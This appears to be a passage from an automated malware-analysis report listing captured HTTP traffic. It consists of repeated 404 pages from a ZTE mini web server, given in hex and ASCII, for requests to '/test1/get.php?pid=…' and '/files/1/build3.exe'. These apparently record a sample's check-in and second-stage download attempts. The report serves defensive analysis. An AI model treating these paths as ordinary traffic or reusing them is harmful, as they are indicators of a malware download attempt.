64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 66 69 6c 65 73 2f 31 2f 62 75 69 6c 64 33 2e 65 78 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/files/1/build3.exe' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY> </HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS> </BODY>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 26 66 69 72 73 74 3d 74 72 75 65 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 7a 74 65 2e 63 6f 6d 2e 63 6e 22 3e 4d 69 6e 69 20 77 65 62 20 73 65 72 76 65 72 20 31 2e 30 20 5a 54 45 20 63 6f 72 70 20 32 30 30 35 2e 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 42 4f 44 59 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>404 Not Found</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>404 Not Found</H2>The requested URL '/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true' was not found on this server. <HR> <ADDRESS><A HREF="http://www.zte.com.cn">Mini web server 1.0 ZTE corp 2005.</A></ADDRESS>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Mini web server 1.0 ZTE corp 2005.Accept-Ranges: bytesConnection: closeContent-Type: text/html; charset=iso-8859-1Cache-Control: no-cache,no-storeData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 27 2f 74 65 73 74 31 2f 67 65 74 2e 70 68 70 3f 70 69 64 3d 46 38 41 46 43 44 43 34 45 38 30 30 41 33 33 31 39 46 46 42 33 34 33 45 38 33 30 39 39 36 33 37 27 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 52 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 